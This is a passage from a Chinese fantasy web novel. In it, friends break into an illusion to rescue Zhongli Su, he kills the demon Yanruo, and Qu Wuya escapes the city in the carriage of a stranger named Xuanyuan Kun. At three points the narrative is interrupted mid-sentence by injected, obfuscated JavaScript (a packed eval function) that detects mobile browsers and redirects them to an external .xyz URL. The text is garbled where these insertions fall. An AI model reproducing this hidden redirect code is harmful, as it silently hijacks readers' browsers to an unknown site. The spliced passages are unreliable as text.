“行。”原无名不与钟离柏一般见识,“外面全是你的通缉令,你待在沧澜城还不一定比去幻境安全。” 这是有他和钟离柏,无涯才不需要出门。若他们不在,无涯肯定得出门采购物资的。 换做刚认识的时候,无涯是不会向他提出这个请求。那时,无涯和妖王成日腻在一块的底气纵容了无涯对世间的胆怯。这是件好事,无涯本不是一个胆怯的人,只是年纪太轻,不够坚强,却不缺坚韧,如今终于用本心去探索未知。 在去千瞳府的路上,钟离柏在给瞿无涯恶补幻境的知识。 “幻境呢,某种程度上来说就是幻术和阵法的结合。按幻术的解法就是要让人清醒过来,按阵法的解法就是要找到阵眼。就和人有脆弱的地方一样,一个阵法,也必然有它薄弱的地方,就称之为阵眼。” “哎,这个东西吧,就和策论题一样,是没有固定答案的。不同的施术者,不同的入境人,都会有不一样的解法。就像你想让一个入境人清醒,你可以物理刺激他,也可以精神刺激他。” 瞿无涯:“也就是说,没真正进去过,谁也不知道会是什么情况?” “对。”钟离柏打个响指,“聪明啊。” 等到了府外,钟离柏拿出一个正正方方的东西,往前一触碰结界,结界微亮,缓慢地打开一道口子,缺口逐渐变大到供人通过。 原无名:“这种法器统称为偷玉,可以短暂地打开结界,但无法复原,很快就会被发现,所以我们要抓紧时间。” “这个偷玉本不是解千瞳府结界的。”钟离柏率先进入,翻墙,“我做来入侵灵仙山的,我哥出事后,我就开始研究这结界,想把他带出来,加急改了一下。” “灵仙山?”瞿无涯疑惑,“那不是你家吗?” “对啊,就是因为是我家,才弄着玩。”钟离柏搂着瞿无涯的肩膀,“破坏别人家太不礼貌了。” 瞿无涯还是有点迷茫。 “钟离学东西不精,但杂。”原无名因警惕面容肃然,“他总是三分钟热度,八成是最近正好在研究奇门遁甲。” “哦,我以为钟离家的人都是专研医术。” 瞿无涯恍然大悟。 钟离柏一本正经:“你那是刻板印象。” 三人避过侍卫,到了大厅中,钟离柏施法,一道光芒进入镜中,道:“她用的媒介果然是镜子。” “这有灵气的物件也只有镜子。”原无名平静道,“不用加‘果然’这个词。” 钟离柏斜眼看他,走进镜子中。 若说镜中世界和真实世界最大的区别,就是灵气。瞿无涯一进去便觉得不对劲,里面的灵气固然有,但是赝品。 他吸纳灵气后没有任何反应,就像是吃了牛肉形状的豆腐,这个“灵气”也没有“灵”在里面。 钟离柏感受了一下幻境,道:“她这个幻境还不够精细,真正的幻术大师,可以给幻境和现实做个链接,那幻境里的灵气也是真的灵气。” “幻境里的千瞳府不是千瞳府。”原无名若有所思,他们在的位置对应着现实的千瞳府,可这却十分荒凉,无人居住的样子。 钟离柏打量四周,道:“嗯,不知魇若那妖女在搞什么鬼。” “走吧,去钟离医馆探探。” 原无名发话,往外走。 两人紧随其后,瞿无涯问道:“那我们是要唤醒钟离公子,还是要找到阵眼?” “先看一下什么情况吧。”钟离柏道,“在没了解情况前,我们要避免和魇箬进行冲突。在她的幻境里,她是规则制定者。” “再多规则,假的也做不了真。” 原无名微仰下巴,笃定道。 这就是大哥风范啊,瞿无涯看着原无名挺拔的背影,这和强大的实力无关。 大哥风范就是,哪怕大哥不敌对方,大哥也会挡在自己身前。 瞿无涯只见过关门的钟离医馆,乍见熙熙攘攘的医馆,稀奇地看着,道:“好多年轻的姑娘。” 钟离柏嘿嘿一笑,道:“我哥还是很受姑娘们欢迎的。我爹当年也是害了相思病,天天缠着我娘看病,才会有我哥和我出生。” “无名,怎么说?我先进去打探一下情况?” “我听说钟离大夫要成亲了,是真的吗?” “是啊,能看一眼是一眼了。” “我昨天特意问了,钟离大夫亲口承认的。” “好像是钟离大夫救的一个女子,哎,我这身体,怎么就这么结实,一点病也不生呢?” 下手这么快?钟离柏敛了笑容,道:“我进去了。” “虽然魇箬没见过钟离,但按理来说应该是我进去最稳妥,因为钟离肃和魇箬都没见过我。”原无名目光中有担忧,“钟离担心他哥很久了。” “哥!” 钟离肃正在诊脉,闻言也没抬头,道:“我正在忙,你在旁边等着。” “哥,我好想你!”钟离柏没有像从前一般识趣,而是凑上去,“你要成亲怎么没和我说?” “我给了家里通知,你是不是又偷跑出去了?”钟离肃说完就继续诊断,写好药方,递给一旁的学徒。 学徒按药方带病人去药柜抓药。 有家人?钟离柏思考,魇箬的幻境可以录入沧澜城和无关紧要的人。灵仙山的人......魇箬不了解灵仙山,既然保留了这部分存在,那就表示哥的记忆也加入了幻境的构建中,不止是魇箬一个人的想象。 有时候这个幻境,说好解也确实好解,得刺激哥醒过来。 他问道:“哥,这么大的事,你不回灵仙山准备吗?” 果然,钟离肃的表情出现一丝茫然,道:“阿箬说,她就想在沧澜城办。” “这怎么合礼数?”钟离柏道,“钟离家的婚事怎么能不在灵山山?长辈们会生气的。” 在魇箬的设想中,除了她和哥,其余都是没有思想的人,也不会有人提出这个问题。 他得旁敲侧击,让他哥主动思考当下的状况是不是不对劲。就像现在,他和哥在讲话,其余病人就呆呆地等着。 换做现实中,怎么可能没有任何反应?是因为哥暂时没空处理病人,所以病人才没有反应。 还没待钟离肃回答,里屋出来一个人。 钟离柏后退一步,魇箬?她居然在院子里?未婚先同居?天哪,都把他哥给调教成什么样了。 他的出现是突兀的,魇箬是不是听见他们的对话,发现不对劲了? 他警惕地看着魇箬,随时准备拔出刀。 可魇箬只是看了他一眼,便甜甜地和钟离肃说话:“肃,这是谁呀?” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126467|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是舍弟,钟离柏。”钟离肃答道,“小柏,这是我的未婚妻,阿箬。” “嫂子好。”钟离柏先不管魇箬怎么样,总之见人说人话见鬼说鬼话已经刻在他的骨子里。 有点奇怪,这个魇箬竟然真的毫无攻击性,完全不像一个妖。演技这么好吗? “你好啊,小柏。”魇箬笑得很开心。 钟离肃道:“方才小柏和我说,婚礼得在灵仙山办,你怎么想?” 魇箬点头,道:“好啊,按你的意思来。” 等一下,钟离柏终于感觉到那股怪异从哪来,他试探道:“我听说,嫂子之前受伤了,伤怎么样了?” 魇箬:“已经好了。” 钟离柏:“哥治好的?” 钟离肃奇怪地看他一眼,道:“是的。”这不明摆着的事吗? “我可以给嫂子把个脉吗?”钟离柏笑嘻嘻的,“我看看能不能探出嫂子受过的伤,给哥看看我医术的长进。” 现在有两种可能,一种是魇箬以为他的出现是哥脑中的想象,另一种...... 魇箬伸出手,道:“好啊。” 钟离柏搭上她的脉搏,心沉下来,这是人的脉象。 看来,魇箬为了让他哥接受她,用了人族的身体。现在的魇箬,单纯只是个人族。 准确来说,她都称不上是魇箬,她明显不记得那些事。不然不会对他没有一点敌意。 这种情况,比想象中还要糟糕。因为,在幻境中杀死魇箬的想法不成立了。他和原无名,都没办法对这样的魇箬下手。 瞿无涯和原无名等到的是一脸凝重的钟离柏。 “出什么事了?”原无名问道。 “你们进去就知道了。”钟离柏道,“跟我来吧。” 瞿无涯毫无防备心地进去,乍见魇箬,吓了一跳,把自己往原无名身后遮。 “她不认识你。”钟离柏小声提醒他,“她现在是个人族。” 瞿无涯这才察觉,魇箬看他的眼神里是好奇,却不像认识他的样子。 原无名一听这话,大概就明白了什么状况。 钟离柏高声笑道:“哥,他们是我的朋友,原无名、瞿无涯。” 他又冲瞿原二人道:“这是我哥和我嫂子。” 这“嫂子”叫得也太顺口了,瞿无涯忘不了钟离柏一提到“魇箬”就恨得牙痒痒的模样,目瞪口呆。 魇箬笑道:“你们好呀,没想到今日这么多人,那我去买点菜,晚上给你们做顿好的。” 钟离肃:“原公子,瞿公子。” “谢谢嫂子。”钟离柏说完就想扇自己,这话太狗腿了,就这么顺其自然地说出来,这不是向敌人缴械吗? 钟离肃继续看诊,三人坐在一边小声密谋。 “要怎么唤醒你哥?” 钟离柏也有点愁,和原无名面面相觑,道:“我哥现在已经和魇箬好上了,我怕拿魇箬的事贸然唤醒他会对他的神智造成伤害。你应该还记得,我们之前在一个幻境里唤醒的人,醒来后疯了。” 原无名也没有纠结,道:“行,那我出去找阵眼。你哥的事你解决。” 他起身离开医馆。 瞿无涯眨眨眼,问道:“为什么会疯?” “那个人是幻术师,亲友在葬骨川之战中死光了,这近百年他就沉溺在幻境中。但他在幻境的时间太久,他进去的时候周围是荒地,后来慢慢地有了村庄。所以有人就会被卷进幻境中失踪,我们就是去查这件事,为了救出村民我们只能把他唤醒来结束这个幻境。” “当时,我们也有点年轻,不太了解幻境,只知道唤醒当事人的解法,却不知道不能轻易拿当事人的愿景去刺激。像无名这种人,你可以随便刺激他,他可能会一时受困,但最后肯定是醒过来。可若是我,我心智不够坚定,也有可能会疯。” 为什么这么肯定原无名不会疯?瞿无涯觉得钟离柏说这话不像是盲目信任,而是有依据。原无名的来历成迷,他也就没多想,每个人都会有自己的秘密。 23. 第 23 章 “那我们要怎么做?” 钟离柏深沉道:“话疗。” “啊?” 瞿无涯把手放在桌上,认真听。 “就是在对话中测试关键词,从幻境未改变的认知方面下手,看看他对哪方面反应大,可以刺激他的思考。入境人虽不像幻境中的人一样没有自我意识,但意识也是偏模糊的。” 钟离柏长叹一声:“我看我是要和我哥从盘古开天地聊到葬骨川之战了。” 在钟离柏话疗期间,瞿无涯就安静地听着,他们聊的东西基本上都是他不太了解的,从西州诸家又研制了什么狠辣的毒术到东州从家又发明了什么新法器。 瞿无涯注意到,他们几乎不提起北州南宫家,是因为南宫家比较神秘吗?北州离得远,他也很少听见关于北州的消息。 钟离肃基本没有反应,专心地在给人诊断,偶尔回两句话。 是因为钟离柏一直这么吵吗?钟离肃看着一点也没觉得哪儿不对。 终于,钟离柏口干舌燥,放弃,去倒茶喝。 天色也晚,魇箬在后院下厨。医馆暂时没有客人,学徒也回家用晚膳,钟离肃在看医书。 瞿无涯看着药柜,发现上面有一格写着“清心丹”,他心念一动,转身道:“钟离公子,七情蛊有解法吗?” 钟离肃一愣,合上书,困惑地看着他。 上次问钟离肃时,钟离肃的反应明显和现在不同,果真在幻境中反应会变得迟钝。 “神仙骨可以,可以净化灵根。”钟离肃给出了和上次一样的答案。 “但神仙骨是万能药吧。”瞿无涯提出异议,“不只七情蛊,连王太子的病也可以用神仙骨解决。我想问的是,针对七情蛊的解法。难道世间没有七情蛊的解药吗?” 钟离肃顿住,答道:“有肯定是有的,世间万物相生相克,理论上是不可能无药可医。只是我对蛊的了解有限,暂时没办法回答你这个问题。七情蛊凶残猛烈,扎根体内后会和经脉共生,无法根除。” “神仙骨可以根除吗?” “不,神仙骨不是根除,是重铸。”钟离肃摇头,“七情蛊是没办法被杀死的,除非经脉尽废,它没有养料才会死亡。神仙骨就是先死后生,先断你的经脉,再重铸,所以神仙骨可以。” “像你说神仙骨是万能药,也不尽然对,只是很多人都这么以为神仙神仙,那既然是神仙,就能满足一切愿望。只不过修炼之人,大多数问题都出现在经脉上,才给了能医治一切的错觉。就比如月晦妖君,世间普遍认为她服用神仙骨能飞升,其实不是的,神仙骨并不能增进修为,也不会助她飞升。” “原来如此。”瞿无涯点点头,“所以,若是要解决七情蛊,就要先废经脉,再重修?” “理论上是这样,但除了神仙骨,想必世间也没什么能修复经脉的东西。”钟离肃道,“这条路是行不通的,我一时没法给你答案,你给我一点时间。” “你,流了很多汗。”瞿无涯凑过去,“你感觉不舒服吗?” 钟离肃一摸额头,汗津津的,他感到思考困难,无论是为何流汗,还是神仙骨的解法。 解释神仙骨的用处是刻在他记忆中的,说起来十分顺畅。但只要一去思考如何解开七情蛊,那层雾就拢住他的记忆,无法去思索。 他顿时毛骨悚然,才察觉自己诊断的病人,全是记忆中的反射,没有碰到任何超出他认知的疑难杂症。 这太诡异了,钟离肃越想头就越晕,他手撑在桌子上,扶住额头。 “没事,头有点晕。” 瞿无涯观察着他,这是话疗成功了吗?钟离肃最擅长、最在意的就是医术,钟离柏也提起一些毒药,但钟离肃都没有反应,是因为那些毒,钟离肃都会解。 无论是旧时的病人、看诊的经历,全都在钟离肃的记忆中,无需去费力思考。 “哥,嫂子喊你吃饭。” 钟离柏兴冲冲地从后院过来,看见钟离肃双手按着太阳穴,惊道:“哥,你怎么了?” 他跑过去,手搂着钟离肃的肩,想查探钟离肃的情况。 “嫂子?”钟离肃哑着嗓子道,什么嫂子?七情蛊? 好像之前也有人问过他怎么解七情蛊,是什么时候的事?头好痛,小柏,小柏为什么会在这里? “钟离,我好像话疗成功了。”瞿无涯犹豫道,“我问了他七情蛊的解法,然后他就开始头痛。” 七情蛊?那不是传说中的东西吗,哪来的什么解法——对,对啊,哪来的解法,所以他哥才会被刺激到。 钟离柏由衷地赞美:“无涯,你真是个天才。” 瞿无涯笑道:“我也只是试一下。” 钟离柏拿袖口给钟离肃擦汗,问道:“哥,你感觉怎么样?” 无数的记忆片段在钟离肃脑海中回闪,阿箬,他和阿箬相爱——不,不对,那是魇箬,那是妖女! 阿箬不是妖,是他救下的孤女。 魇箬是妖,把他囚禁,还杀害了很多无辜的人。 阿箬纯真善良,活泼爱笑,他喜欢这样明媚的阿箬——不,这都是骗局。 这一切都是假的...... 耳边嗡嗡作响,他听不见外界的声音,他的钟离医馆早就关门了。魇箬以爱的名义在摧毁他。 “肃,我说过,若我是人,你一定会爱上我的。” “你不信吗?那我们可以试试。” “肃,我不想杀他们的,你不要惹我生气了。” “我好喜欢你。都说救命之恩大,那我以身相许不为过吧?” “你干嘛不看我,哦,我知道,肃害羞了。” “我们成亲吧!” 钟离肃听见自己的声音。 “好。” 心中的石块炸开,碎片将五脏六腑划出鲜血,被压制住的情感、翻涌的记忆让他发出痛苦的声音。 原无名把沧澜城扫了一圈,回到钟离医馆。他问道:“怎么了?” 瞿无涯答:“钟离公子可能要想起来了。” “什么?”原无名没想到事情进展得这么顺利。 钟离肃吐出一口血,心中怆然,狠狠地捏紧拳头,恨声道:“她竟然,竟然这样戏弄我!” 最可恨的是他自己,他这般不争气地爱上了阿箬。 这时,魇箬久久不见人,便寻来,带着埋怨的语气道:“肃,都说了吃饭,怎么还不来,不按时吃饭对身体不好哦。” 钟离肃手上凭空生出一把刀,他推开钟离柏,朝魇箬走去。 魇箬看他神情不对,嘴角还流血,担忧地走过去,惊声道:“你怎么了?怎么还流血了?肃——” 她话音未落,胸口被刀刺中。刀拔出血肉的过程中发出细微的声音,随后就是喷涌的血。 “为什么?你。” 钟离肃面部肌肉紧绷,眼中一扫往日的平和宁静,充满恨意,像真正的侩子手,而不是医师。 钟离柏喃喃道:“我哥连一只蚂蚁都没有杀过。”他心中有不详的预感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“阿箬爱你啊。”魇箬换了一个词,“她花了两年的时间,进入你的心,你不爱她吗?钟离肃。你们一起看过的月,一起踏过的春,许下的山盟海誓,难道都是假的吗?” 两年?钟离柏咬紧牙关,他们得知消息已经第一时间赶来,没想到还是晚了。 原无名不忍地闭上眼睛,长叹一口气,睁眼,道:“钟离,对不起,我本可以早点来的。” “不,不怪你,你没有早来的义务。”钟离柏道,“谁也没想到事情会到这一步。是我们料错了,我也没想到我哥会动真心。” 瞿无涯愧疚道:“是我的错,我不应该刺激钟离公子的,或者我应该先和你们商量。” “这不是你的问题。”钟离柏解释道,“是我哥,他自己接受不了。无论什么解法,都没办法保证入境人不受影响,只能说尽量避免他们的心智遭到侵蚀。” 他哥是至情至性之人,一旦动情就很难脱离出来。 “阵眼在魇箬的心脏上,我和钟离都没办法对阿箬出手。无涯你更是没杀过人,也只有唤醒钟离公子这一个解法。” 原无名安慰道。 魇箬真的很开心,钟离肃疯了,对,就应该这样,凭什么只有她疯? 凭什么只有她发愁? 凭什么只有她被困在爱里不可自拔? 恨她也好,爱她也好,钟离肃不能无视她,无视她的心意。 钟离肃扶着柱子干呕,指甲掐着硬木质地的柱子,用力太深,手指渗出血,顺着柱子下流。 “魇箬,你不是阿箬。你杀人无数,狠辣成性,轻视他人感受,漠视世间道德,你囚禁我,说爱我却处处伤害我。现在,你终于遭到报应,你要死了,你以后再也不能折磨我。” 魇箬毫不在乎自己的生死,道:“你爱阿箬什么,爱她热情开朗,爱她明媚似火,这不就是我吗?你越是否认,我就越高兴。我就算死了,也要在你的回忆里像鬼一样缠着你。” 24. 第 24 章 钟离肃冷笑一声:“我会吃忘情丹的,不饶你费心。” 魇箬果然被激怒,她猛然出手,急速来到钟离肃的面前,掐住他的脖子,道:“好,你敢忘了我,那你下来陪我吧!” 敢忘记她,就去死吧! 正当她要扭断钟离肃颈骨,原无名抓住她的手臂,甩开了她。 “钟离,你先带他们走,我来断后。” 幻境破碎的动静已经引起守卫的注意,原无名感到四面八方有人正在赶来。 钟离柏:“好。” 他扶着钟离肃,道:“无涯,跟我来。” 魇箬支撑不住,往一边瘫倒。原无名松手,她倒在地上。 瞿无涯忍不住回头看,魇箬蜷缩在地上,小小的一团。他才感到,魇箬身型其实很娇小,只他每每见到魇箬,魇箬总是张牙舞爪的。 慢慢的,魇箬变回了原形,一只白色的狐狸闭上了眼睛。 尽管知道魇箬是罪有应得,但他心中仍然怅然,也许是不习惯死亡。等到死去,他才觉得可怜,这种怜悯心挺可笑的吧。 “无涯,你要离开沧澜城,现在就是最好的机会。”钟离柏道,“我之前同无名商量过,那时也没想到会带你过来,本来是想说趁我们去千瞳府搞事情,让人偷偷送你出去的。” “你本身就被通缉,虽然魇箬的死和你没什么关系,但接下来沧澜城不会太平,你待在这挺危险的。马上也是年底,你回家过年吗?” 这种时候说自己是孤儿,会不会显得太可怜?瞿无涯并不想让别人可怜自己,道:“是,我差不多也要回去过年了。” 出了府,他担心地问:“原大哥一个人,不会有事吧?” “你与其担心他,还是先担心一下我们吧。” 钟离柏看着前方拦住他们的守卫,他放开扶着钟离肃的手,一把玄色的弯刀出现在他手中。 “把我哥带回去,这里给我解决。” “好。”瞿无涯也没多纠结,对于原无名或是钟离柏,他留下来都是累赘,帮不到他们。 钟离肃呼吸急促,显然还未恢复正常,手搭在瞿无涯的肩上,眉头拧成一个川字。 “钟离公子,跟我来。” 讲实话,钟离柏得有半年没动过手,他是一个不喜欢战斗的人,这和他出生在医药世家没什么关系。 因为输了很丢人。 他双手握着刀柄,两腿分开,膝盖微弯,长呼一口气。面前是五个守卫妖,人族用特殊方法吸纳灵气,因而效率比妖要高,这几个妖修行时间比他长,却未必能胜过他。 为首的妖道:“快追,别让他们跑了。” 真把自己当死人吗?钟离柏一向自谦,但那是因为他的朋友全是怪物,他没有骄傲的资本。 可对上这种普通的妖,他挑眉,起跳,朝其中一个妖狠狠地劈下去。 那妖往旁一闪躲,但众妖还是被刀气击退一些。 刀插入青石地中,又被拔起,横砍而去。 众妖齐聚而上,钟离肃后仰躲过侧边的攻击,一脚踹飞那妖,手上的刀砍中身前的妖,妖的手臂被砍断,完好的手捂着断口瘫坐在地。 他可不是原无名,用着“残次品”,他的刀梦死刀是从关慎大师——从景同爷爷锻造的宝刀,吹发即断,削铁如泥。配置上他绝不会吃亏,走捷径又如何呢? 站着的妖还有三个,他侧身躲过前方的攻击,刀往后刺入妖的胸膛,借着刀在肉.体中的支撑力,他的腿在空中横踢半圈。 旁边的妖捂着肚子向后腿半步。 但,趁着钟离柏还没稳住身体,剩下那个妖手中的剑朝他的腰腹刺来。 就在剑离身体一寸时,不知何处来的石头击中妖握着剑的手腕,剑锋一歪。 扑通一声,剑掉在地上。 钟离柏看着巷口的原无名,笑道:“这么快?” “你哥和无涯呢,怎么样了?” “我让他们先回去了,解决完这些,我们也回去。”钟离柏忧心他哥和瞿无涯的安危,收了笑容,继续进入战斗状态。 瞿无涯十分确定有人在背后跟着他,总不能把人引到钟离柏的院子里。他在一个十字巷口停下。 “钟离公子,你听得见我说话吗?” 钟离肃:“嗯。” “你沿着这条巷子一直走,第二个路口左转第三户院子就是钟离的院子。”瞿无涯小声道,“你先在这里躲一会,等我把人引走,你再出来。” “这些妖是根据气味追踪,你一定要等我远离了再走,我会在外面多转几圈,让他们无法分辨哪边才是真实的路。” 原大哥知晓妖会用气味追踪,等原大哥和钟离肃会面,会想办法解决钟离肃身上的气味,这个倒不用再担心。 他身上的味道肯定没钟离肃身上重,逃开追击也更容易一些。 不待钟离肃说什么,瞿无涯已经走出去,故意发出较大的动静,往钟离肃相反的方向而去。 果然,那些人离得远,没能发现他是一个人走的。 等确定已经远离钟离肃,瞿无涯开始绕圈,这些人的目的是掀老巢,所以才会这么老老实实地跟着。 若他能甩开追兵,自然是最好的解决办法。 万一打不过呢? 几圈下来,追兵也发现了不对劲。 “这小子耍我们呢?” “直接上?” “嗯,抓活的,回去问。” “魇箬少君情况很糟,若我们没个交代带回去,只怕保不住命。” “上!” 三个人围住瞿无涯,他握紧剑柄,出鞘。 首要的义务是逃跑,瞿无涯目标明确,往三人后方一笑。 “这么快从千瞳府杀出来了?” 三人一惊,回头看,空无一人。 知晓被耍了,领头的人看着瞿无涯的背影,恨恨道:“给我追!” 瞿无涯头也不回地往大街上跑,穿过人群、摊子,转进巷口,再往大街上跑。 周围全是尖叫声,还要重物掉落声,他在心中和众人说了声对不起。 只是他体力不支,追兵和他的距离越来越近。 一辆马车驶在大街中央,尽管后方喧闹不已,像是出了什么大事,马车却安稳缓慢地行驶,岁月静好。 瞿无涯也没招了,想起原无名教他的一些刺杀技巧,首先隐蔽自己的气息,其次要快,瞬间的爆发,接近目标,才能一招致命。 他身形一闪,进入马车中,因学艺不精,自然没有原无名万人之中取首级的潇洒,摔了个大马趴。 很浓的药香味,瞿无涯手撑在地毯上,抬起头,看见了一个男子。 男子脸色苍白得近乎病态,眼皮垂着,看着十分没精神,而明黄色的锦服让他的白更为突出。样貌是俊美的,仔细看长得颇有几分气宇轩昂的意味在,但被这病秧子般的气质压下去了。 车队为首的人一身灰色盔甲,察觉有动静,问道:“公子,卑职方才感到有一股气息一闪而过,是否有贼人来袭?” 马车摇摇晃晃,瞿无涯眨巴着眼睛,脸因刚才的跑动发烫,祈祷地看着男子,伸出食指比在唇边。 男子饶有兴致地看着他,故意等了一会,才道:“无事,鸟雀而已。” 瞿无涯正想道谢,外头传来声音。 追兵看见马车,认出马车上的花纹,道:“我等乃千瞳府的守卫,请问这位大人可见过一个贼人经过。此乃千瞳府的要犯,若大人见到,还请大人告知。” 男子掀开帷裳,吓得瞿无涯头往下一扑,他道:“往那边去了。” 只见帷裳中生出一只苍白的手,指向西方。 追兵一拱手:“多谢大人。” “不必行此大礼。” 男子笑道。 瞿无涯才发现自己的姿势像在磕头一般,这人的语气有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126469|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏弄的意思,但他方才帮了自己,也不好多说什么,便坐到地毯上。 “多谢公子。” “你是何人?” “我......”瞿无涯不想多生事端,毕竟他又是通缉犯又和魇箬的死扯上关系,“我是千瞳府的面首,呃,逃出来了。” “哦。”男子意味深长地看着他,“你要出城吗?这辆马车是出城的。” 这不是天旱逢甘露吗?但他就这样走了,也没和原大哥他们说一声,有点不太好。 “不用,我等下就走,我就是躲一会。” 男子咳嗽两声,抚摸着手中的暖炉,道:“我建议你别出去,且离沧澜城越远越好。马车中的香可以防止追踪,你身上的味道么,有点重。若是出去,会发生什么,我也不好说。” 那你问什么?不就只剩下出城这条路了吗? 瞿无涯问道:“那就麻烦公子捎我出城,请问公子名讳是?日后有机会,我一定会报答公子的。” “轩辕琨。”男子勾起嘴角,启唇。 经历一场追逐战,瞿无涯还是惊魂未定,因而完全没懂这个名字,道:“宣公子,我叫瞿无涯。” 轩辕琨动作一顿,有些惊讶,他笑起来,连病气都褪去几分,倒显出些许意气,道:“曲还是瞿?” “良士瞿瞿的瞿。” “那个字不念曲,念目光如炬的炬。”轩辕琨语气柔和,明明是指出错误,却不会让人感到不适。 “啊?”瞿无涯没正经上过学,认字全凭求知欲强,不由得羞怯,“我知道了。” 他转移话题:“你生病了吗,药味很浓。” “风寒。”轩辕琨道,“你不像沧澜人,你是从哪来的?” “说了你应该也没听过。”瞿无涯感到很闷,气味太浓,车底还有制热的炭石,“一个很小的地方。” 轩辕琨:“一般人可能不知晓,但我是需要知道的。” “阳镇。”瞿无涯为了体谅对方的知识面,说了大一点的地名。 “阳镇吗?”轩辕琨重复一遍,“大概二十年前,井荣真人在那收过一个徒弟,后来因品性不端逐出师门了。” “什么品性不端?” “唔......”轩辕琨想了一下,“不好好修炼,研究歪门邪道。” 歪门邪道?原来是这样。瞿无涯没听说过那个徒弟之后的事迹,还以为他在潜心修道。 出城门时,马车停住。瞿无涯不安地抓紧衣袖,凝神倾听外头的动静。 车队首领拿出一块漆黑的令牌,上面用红漆刻着“极天”二字。城门守卫看见令牌,神情变得恭谨,正要跪下,道:“参见——” 首领扶住他,道:“不要声张。” 大人物不想大张旗鼓,守卫连忙躬身让开,道:“大人,请。” “你是沧澜人吗?” 瞿无涯暗暗惊叹,这人什么来历,竟然不用检查? “我以后要是报答你,该上哪找你?” “我不是沧澜人。”轩辕琨道,“我是圣都人,此行也是回圣都过年。你若是想找我,秋冬季我都会在沧澜城,其余时间在圣都。” “你也不用挂心,于我不过是举手之劳。” “对你不重要的事,也许对我很重要。”瞿无涯认真地道。 沉默蔓延了整个车厢,瞿无涯想,其实这话他不是对宣公子说的。这句话不合时宜,那个人也不该被想起。 轩辕琨若有所思,道:“好,我知道了。” 马车逐渐远离沧澜城,瞿无涯也是时候告别,他掀开车帘,跳下去,转身笑道:“谢谢你,宣公子,再会。” 少年高挑的马尾因回身的动作甩起,褐色的布衫在风中猎猎作响,双目凝光,神采飞扬,像是要展翅高飞的鹰,乘风而去。 “再会。” 轩辕琨笑着,举起左手挥了挥。 我们会再见的,瞿无涯。 25. 第 25 章 陶梅逃婚了。 这是她做过最大胆的决定,也是最冒险的行动。她穿着大红的喜服,一路跑到遥幽的院子外,敲门。 “遥幽!遥幽!” 遥幽不太适应,瞿无涯走后他的门就没有人叩过。 打开门,一个新娘满脸笑意,妆容有些花,不知是汗水还是泪水,道:“我逃婚了!” 嗯,这是件好事。可是和他有什么关系? 不知道的人还以为他是奸夫,准备私奔呢。 遥幽道:“挺好,恭喜你。” “我们去沧澜城找无涯吧?”陶梅抓着门框,眼里都是希冀。 “不要。”遥幽讨厌人,讨厌妖,讨厌人和妖多的地方,“太远了。” 他关上门。 急促的叩门声又响起,带着女子快速的言语。 “你考虑一下嘛,你天天待在这不无聊吗?你不想出去走走吗?” “不想,你自己去吧,祝你好运。” 遥幽蹲下,查看花的生长状况。 “遥幽,无涯这么久不回来,你不担心他吗?万一他出什么事了?” 这让遥幽停顿了一下,道:“他身边的妖挺厉害的,他不会有事的。” 陶梅沉默,道:“好吧,那我走了。” 外头响起悉悉索索的脚步声,逐渐远去。 遥幽保持着动作,良久,推开院门,又恋恋不舍地看一眼他的花草。 陶梅一个弱女子,独自上路也不知会不会出事。若真有个好歹,他良心过意不去。 嗯,毕竟是瞿无涯的朋友,不然他才懒得多管闲事。等路上有机会就和陶梅好好谈谈,把人劝回来最好。陶梅现在刚刚逃婚,情绪高昂,肯定是劝不动的。 “陶梅。” 少女听见声音,惊喜地回头,道:“遥幽?你改变主意了?” “嗯。”遥幽道,“你这个衣服太显眼了,你没带衣物吗?” “没来得及,只带了钱。”陶梅笑道,“等到镇上就换一套新的。” 找陶梅回去成婚的都是些人族,遥幽想,他的修为应付些人族还是够的。 山路漫长,陶梅自小活泼好动,体力已经算是不错的,但普通人族的身体终究是受限。他们不得已在山洞中度过一宿。 这要是被村民看见,自己得被浸猪笼吧,陶梅自嘲一笑,也不知道以后会怎么样。 遥幽倒是没想什么,在他心中,他和陶梅都不是一个物种,难道一根草和一朵花睡在一起会有什么旖旎的心思吗? 喜服根本不足以在冬日的深山御寒,遥幽往火堆处施法,陶梅蜷缩取暖的身体舒展。他靠在山壁上,睡去。 陶梅到阳镇的第一件事就是买新衣,因担心太显眼被村民发现,是让遥幽代买。 随后,陶梅找了一个茅厕把衣服换好。 等她出来时,发现遥幽盯着一旁的告示栏发呆。 “你在看什么?” “你看这个通缉令,是不是无涯?” 陶梅定睛一看,画像上是一个眉目清俊的男子,道:“好像真是无涯,名字也一样。等等,一千两黄金?” 她瞪大双目,紧张道:“无涯犯什么事了?” “看上去是得罪妖了。”遥幽分析道,“上面没有写他的罪行,这也不是官府的通缉令,还有妖印。” “那怎么办,他会不会出事?”陶梅喃喃道,“出了这事,他肯定会躲起来,我们该去哪找他?” “你不要急。”遥幽拧着眉毛,“这通缉还在,证明他们应该还没抓到无涯。” 无涯到底在哪里?怎么样了?陶梅偏头看着稀疏的人群,夕阳西下,众人都归家用晚膳。 正想着,一道身影从他们身旁袭过,而一人在后追赶。 “我好像看见无涯了,是我的错觉吗?” 陶梅狐疑道。 